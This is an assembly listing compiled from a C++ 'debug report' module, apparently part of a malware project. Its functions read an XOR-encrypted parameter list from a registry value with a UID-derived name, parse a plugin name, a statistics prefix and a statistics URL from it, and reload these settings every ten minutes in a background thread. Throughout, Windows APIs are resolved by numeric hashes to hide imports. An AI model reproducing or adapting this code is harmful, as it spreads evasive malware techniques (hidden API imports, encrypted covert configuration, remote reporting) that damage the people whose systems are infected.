	push	OFFSET ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 28					; 0000001cH
; Line 85
	ret	0
??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z
_TEXT	SEGMENT
_Arg1$ = 8						; size = 4
??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>, COMDAT
; Line 75
	push	DWORD PTR _Arg1$[esp-4]
	xor	eax, eax
	push	OFFSET ??_C@_0BP@PEAMALPO@CreateSettingKey?$CI?$CJ?5result?$DN0x?$CFX?$AA@
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 24					; 00000018H
; Line 77
	ret	0
??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>, COMDAT
; Line 75
	push	DWORD PTR _Arg1$[esp-4]
	xor	eax, eax
	push	DWORD PTR _Str$[esp]
	push	eax
	push	eax
	push	eax
	push	DWORD PTR _Module$[esp+16]
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 24					; 00000018H
; Line 77
	ret	0
??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
_TEXT	ENDS
PUBLIC	?GetValueName@@YA?AV?$TString@D@@ABV1@@Z	; GetValueName
; Function compile flags: /Ogspy
;	COMDAT ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
_Uid$ = -20						; size = 8
$T104194 = -12						; size = 8
_Suffix$ = 8						; size = 4
?GetValueName@@YA?AV?$TString@D@@ABV1@@Z PROC		; GetValueName, COMDAT
; ___$ReturnUdt$ = ebx
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
; Line 152
	push	ebp
	mov	ebp, esp
	sub	esp, 20					; 00000014H
	push	esi
	push	edi
; Line 153
	push	OFFSET ??_C@_00CNPNBAHC@?$AA@
	lea	esi, DWORD PTR $T104194[ebp]
	call	??0?$TString@D@@QAE@PBD@Z		; TString<char>::TString<char>
	mov	eax, esi
	push	eax
	lea	eax, DWORD PTR _Uid$[ebp]
	call	?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
	pop	ecx
	mov	edi, esi
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 154
	mov	ecx, DWORD PTR _Uid$[ebp+4]
	test	ecx, ecx
	je	SHORT $LN7@GetValueNa
	mov	eax, DWORD PTR [ecx-8]
	jmp	SHORT $LN8@GetValueNa
$LN7@GetValueNa:
	xor	eax, eax
$LN8@GetValueNa:
	test	ecx, ecx
	jne	SHORT $LN14@GetValueNa
	mov	ecx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN14@GetValueNa:
	add	eax, -5					; fffffffbH
	push	ecx
	mov	esi, ebx
	call	??0?$TString@D@@QAE@PBDK@Z		; TString<char>::TString<char>
; Line 156
	mov	eax, DWORD PTR _Suffix$[ebp]
	mov	edi, ebx
	call	??Y?$TString@D@@QAEAAV0@ABV0@@Z		; TString<char>::operator+=
; Line 158
	mov	eax, ebx
	call	?t_str@?$TString@D@@QBEPADXZ		; TString<char>::t_str
	push	eax
	push	OFFSET ??_C@_0BK@DMAAIPND@returning?5value_name?$DN?8?$CFs?8?$AA@
	xor	eax, eax
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0N@GMJMBCEB@GetValueName?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 24					; 00000018H
; Line 160
	lea	edi, DWORD PTR _Uid$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 161
	pop	edi
	mov	eax, ebx
	pop	esi
	leave
	ret	0
?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ENDP		; GetValueName
PUBLIC	?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z
_TEXT	SEGMENT
_Buffer$ = -1060					; size = 1024
$T104439 = -32						; size = 8
$T104438 = -32						; size = 8
$T104436 = -32						; size = 8
$T104437 = -24						; size = 8
$T104435 = -24						; size = 8
_ValueType$ = -16					; size = 4
_ValueLength$ = -12					; size = 4
_key$ = -8						; size = 4
_ParamList$ = 8						; size = 4
?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z PROC	; DebugReportLoadParamList, COMDAT
; Line 166
	push	ebp
	mov	ebp, esp
	sub	esp, 1064				; 00000428H
	push	ebx
	push	esi
	push	edi
; Line 167
	call	?CreateSettingKey@@YAPAUHKEY__@@XZ	; CreateSettingKey
; Line 169
	push	eax
	push	OFFSET ??_C@_0BP@PEAMALPO@CreateSettingKey?$CI?$CJ?5result?$DN0x?$CFX?$AA@
	xor	edi, edi
	push	edi
	push	edi
	push	edi
	push	OFFSET ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
	mov	DWORD PTR _key$[ebp], eax
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 24					; 00000018H
; Line 170
	cmp	DWORD PTR _key$[ebp], edi
	jne	SHORT $LN3@DebugRepor@2
$LN14@DebugRepor@2:
	xor	al, al
	jmp	$LN4@DebugRepor@2
$LN3@DebugRepor@2:
; Line 176
	push	1024					; 00000400H
	lea	eax, DWORD PTR _Buffer$[ebp]
	push	edi
	push	eax
	mov	DWORD PTR _ValueLength$[ebp], 1023	; 000003ffH
	mov	DWORD PTR _ValueType$[ebp], edi
	call	?m_memset@@YAPAXPAXKK@Z			; m_memset
	add	esp, 12					; 0000000cH
; Line 179
	push	OFFSET ??_C@_02DAMOAIFE@PL?$AA@
	lea	esi, DWORD PTR $T104435[ebp]
	call	??0?$TString@D@@QAE@PBD@Z		; TString<char>::TString<char>
	mov	eax, esi
	push	eax
	lea	ebx, DWORD PTR $T104436[ebp]
	call	?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName
	pop	ecx
	call	?t_str@?$TString@D@@QBEPADXZ		; TString<char>::t_str
	push	402843592				; 1802e7c8H
	push	2
	push	edi
	mov	esi, eax
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	lea	ecx, DWORD PTR _ValueLength$[ebp]
	push	ecx
	lea	ecx, DWORD PTR _Buffer$[ebp]
	push	ecx
	lea	ecx, DWORD PTR _ValueType$[ebp]
	push	ecx
	push	edi
	push	esi
	push	DWORD PTR _key$[ebp]
	call	eax
	mov	edi, ebx
	mov	esi, eax
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR $T104435[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 180
	push	DWORD PTR _key$[ebp]
	call	??$pushargEx@$01$0NLDFFFDE@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,HKEY__ *>
	pop	ecx
; Line 183
	push	DWORD PTR _ValueType$[ebp]
	xor	edi, edi
	push	esi
	push	OFFSET ??_C@_0CJ@MFOEILLB@RegQueryValueEx?$CI?$CJ?5result?$DN?$CFu?5Valu@
	push	edi
	push	edi
	push	edi
	push	OFFSET ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 28					; 0000001cH
; Line 185
	cmp	esi, edi
	jne	$LN14@DebugRepor@2
; Line 186
	cmp	DWORD PTR _ValueType$[ebp], 3
	jne	$LN14@DebugRepor@2
; Line 189
	push	OFFSET ??_C@_00CNPNBAHC@?$AA@
	lea	esi, DWORD PTR $T104437[ebp]
	call	??0?$TString@D@@QAE@PBD@Z		; TString<char>::TString<char>
	push	DWORD PTR _ValueLength$[ebp]
	lea	eax, DWORD PTR _Buffer$[ebp]
	push	eax
	mov	eax, esi
	push	eax
	lea	eax, DWORD PTR $T104438[ebp]
	call	?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
	pop	ecx
	call	?t_str@?$TString@D@@QBEPADXZ		; TString<char>::t_str
	mov	esi, eax
	call	?Crypt@XORCrypt@@YAKPADPAEK@Z		; XORCrypt::Crypt
	pop	ecx
	pop	ecx
	lea	edi, DWORD PTR $T104438[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR $T104437[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 190
	lea	eax, DWORD PTR _Buffer$[ebp]
	push	eax
	mov	eax, DWORD PTR _ValueLength$[ebp]
	lea	esi, DWORD PTR $T104439[ebp]
	call	??0?$TString@D@@QAE@PBDK@Z		; TString<char>::TString<char>
	mov	ebx, DWORD PTR _ParamList$[ebp]
	mov	edi, eax
	call	??4?$TString@D@@QAEAAV0@ABV0@@Z		; TString<char>::operator=
	mov	edi, esi
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
; Line 193
	mov	eax, ebx
	call	?t_str@?$TString@D@@QBEPADXZ		; TString<char>::t_str
	push	eax
	push	OFFSET ??_C@_0BL@DOMNLNJP@Finished?4?$CIparam_list?$DN?8?$CFs?8?$CJ?$AA@
	xor	eax, eax
	push	eax
	push	eax
	push	eax
	push	OFFSET ??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 24					; 00000018H
; Line 195
	mov	al, 1
$LN4@DebugRepor@2:
; Line 196
	pop	edi
	pop	esi
	pop	ebx
	leave
	ret	0
?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ENDP	; DebugReportLoadParamList
PUBLIC	?DebugReportLoadSettings@@YAXXZ			; DebugReportLoadSettings
_DbgRptCs DB	018H DUP (?)
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportLoadSettings@@YAXXZ
_TEXT	SEGMENT
_PlugName$ = -32					; size = 8
_ParamList$ = -24					; size = 8
_StatPrefix$ = -16					; size = 8
_StatUrl$ = -8						; size = 8
?DebugReportLoadSettings@@YAXXZ PROC			; DebugReportLoadSettings, COMDAT
; Line 224
	push	ebp
	mov	ebp, esp
	sub	esp, 36					; 00000024H
	push	ebx
	push	esi
	push	edi
; Line 226
	lea	eax, DWORD PTR _ParamList$[ebp]
	xor	edi, edi
	push	eax
	mov	DWORD PTR _ParamList$[ebp], OFFSET ??_7?$TString@D@@6B@
	mov	DWORD PTR _ParamList$[ebp+4], edi
	call	?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList
; Line 229
	mov	esi, DWORD PTR _ParamList$[ebp+4]
	pop	ecx
	mov	ecx, esi
	cmp	esi, edi
	jne	SHORT $LN12@DebugRepor@3
	mov	ecx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN12@DebugRepor@3:
	push	ecx
	movzx	eax, al
	push	eax
	push	OFFSET ??_C@_0DH@HCFIIEIA@DebugReportLoadParamList?$CI?$CJ?5resul@
	push	edi
	push	edi
	push	edi
	mov	ebx, OFFSET ??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@
	push	ebx
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
	add	esp, 28					; 0000001cH
; Line 231
	mov	eax, esi
	cmp	esi, edi
	jne	SHORT $LN18@DebugRepor@3
	mov	eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN18@DebugRepor@3:
	lea	ecx, DWORD PTR _PlugName$[ebp]
	push	edi
	push	ecx
	call	?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
	pop	ecx
	pop	ecx
; Line 232
	mov	eax, esi
	cmp	esi, edi
	jne	SHORT $LN22@DebugRepor@3
	mov	eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN22@DebugRepor@3:
	lea	ecx, DWORD PTR _StatPrefix$[ebp]
	push	1
	push	ecx
	call	?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
	pop	ecx
	pop	ecx
; Line 233
	cmp	esi, edi
	je	SHORT $LN25@DebugRepor@3
	mov	eax, esi
	mov	esi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
	jmp	SHORT $LN26@DebugRepor@3
$LN25@DebugRepor@3:
	mov	esi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
	mov	eax, esi
$LN26@DebugRepor@3:
	lea	ecx, DWORD PTR _StatUrl$[ebp]
	push	2
	push	ecx
	call	?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex
; Line 238
	mov	edx, DWORD PTR _StatUrl$[ebp+4]
	pop	ecx
	pop	ecx
	cmp	edx, edi
	jne	SHORT $LN30@DebugRepor@3
	mov	edx, esi
$LN30@DebugRepor@3:
	mov	ecx, DWORD PTR _StatPrefix$[ebp+4]
	cmp	ecx, edi
	jne	SHORT $LN34@DebugRepor@3
	mov	ecx, esi
$LN34@DebugRepor@3:
	mov	eax, DWORD PTR _PlugName$[ebp+4]
	cmp	eax, edi
	jne	SHORT $LN38@DebugRepor@3
	mov	eax, esi
$LN38@DebugRepor@3:
	push	edx
	push	ecx
	push	eax
	push	OFFSET ??_C@_0EG@ECPPPBOH@Parsing?5arguments?5results?3?5PlugN@
	push	edi
	push	edi
	push	edi
	push	ebx
	call	?MessageEx@Debug@@YAXPADK000ZZ		; Debug::MessageEx
; Line 241
	push	12					; 0000000cH
	call	?Alloc@HEAP@@YAPAXK@Z			; HEAP::Alloc
	mov	ebx, eax
; Line 246
	mov	eax, DWORD PTR _StatPrefix$[ebp+4]
	add	esp, 36					; 00000024H
	cmp	eax, edi
	je	SHORT $LN53@DebugRepor@3
	mov	eax, DWORD PTR [eax-8]
	jmp	SHORT $LN54@DebugRepor@3
$LN53@DebugRepor@3:
	xor	eax, eax
$LN54@DebugRepor@3:
	cmp	eax, edi
	jbe	SHORT $LN3@DebugRepor@3
	mov	eax, DWORD PTR _StatUrl$[ebp+4]
	cmp	eax, edi
	je	SHORT $LN61@DebugRepor@3
	mov	eax, DWORD PTR [eax-8]
	jmp	SHORT $LN62@DebugRepor@3
$LN61@DebugRepor@3:
	xor	eax, eax
$LN62@DebugRepor@3:
	cmp	eax, edi
	jbe	SHORT $LN3@DebugRepor@3
	xor	eax, eax
	inc	eax
	jmp	SHORT $LN4@DebugRepor@3
$LN3@DebugRepor@3:
	xor	eax, eax
$LN4@DebugRepor@3:
; Line 250
	push	OFFSET ??_C@_01OGPIMHDM@?$DP?$AA@
	lea	esi, DWORD PTR _StatUrl$[ebp]
	mov	BYTE PTR [ebx], al
	call	??Y?$TString@D@@QAEAAV0@PBD@Z		; TString<char>::operator+=
; Line 252
	mov	eax, DWORD PTR _StatPrefix$[ebp+4]
	cmp	eax, edi
	jne	SHORT $LN68@DebugRepor@3
	mov	eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN68@DebugRepor@3:
	push	eax
	xor	eax, eax
	call	?New@STR@@YAPADPADK@Z			; STR::New
	mov	DWORD PTR [ebx+4], eax
; Line 253
	mov	eax, DWORD PTR _StatUrl$[ebp+4]
	pop	ecx
	cmp	eax, edi
	jne	SHORT $LN72@DebugRepor@3
	mov	eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN72@DebugRepor@3:
	push	eax
	xor	eax, eax
	call	?New@STR@@YAPADPADK@Z			; STR::New
	pop	ecx
; Line 256
	push	-206024955				; f3b84f05H
	push	1
	push	edi
	mov	DWORD PTR [ebx+8], eax
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	mov	edi, OFFSET _DbgRptCs
	push	edi
	call	eax
; Line 258
	mov	esi, DWORD PTR _DbgRptSettings
; Line 261
	push	959143975				; 392b6027H
	push	1
	push	0
	mov	DWORD PTR _DbgRptSettings, ebx
	call	?GetProcAddressEx@@YAPAXPADKK@Z		; GetProcAddressEx
	add	esp, 12					; 0000000cH
	push	edi
	call	eax
; Line 263
	call	?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
; Line 264
	lea	edi, DWORD PTR _StatUrl$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR _StatPrefix$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR _PlugName$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	lea	edi, DWORD PTR _ParamList$[ebp]
	call	??1?$TString@D@@UAE@XZ			; TString<char>::~TString<char>
	pop	edi
	pop	esi
	pop	ebx
	leave
	ret	0
?DebugReportLoadSettings@@YAXXZ ENDP			; DebugReportLoadSettings
PUBLIC	?DebugReportUpdateSettingsThread@@YAXPAX@Z	; DebugReportUpdateSettingsThread
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportUpdateSettingsThread@@YAXPAX@Z
_TEXT	SEGMENT
_Arguments$ = 8						; size = 4
?DebugReportUpdateSettingsThread@@YAXPAX@Z PROC		; DebugReportUpdateSettingsThread, COMDAT
; Line 271
	push	ebp
	mov	ebp, esp
	and	esp, -8					; fffffff8H
$LL2@DebugRepor@4:
; Line 274
	call	??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>
; Line 275
	push	600000					; 000927c0H
	call	??$pushargEx@$00$0DNJJHCPF@H@@YAPAXH@Z	; pushargEx<1,1033466613,int>
	pop	ecx
; Line 277
	call	?DebugReportLoadSettings@@YAXXZ		; DebugReportLoadSettings
; Line 278
	jmp	SHORT $LL2@DebugRepor@4
?DebugReportUpdateSettingsThread@@YAXPAX@Z ENDP		; DebugReportUpdateSettingsThread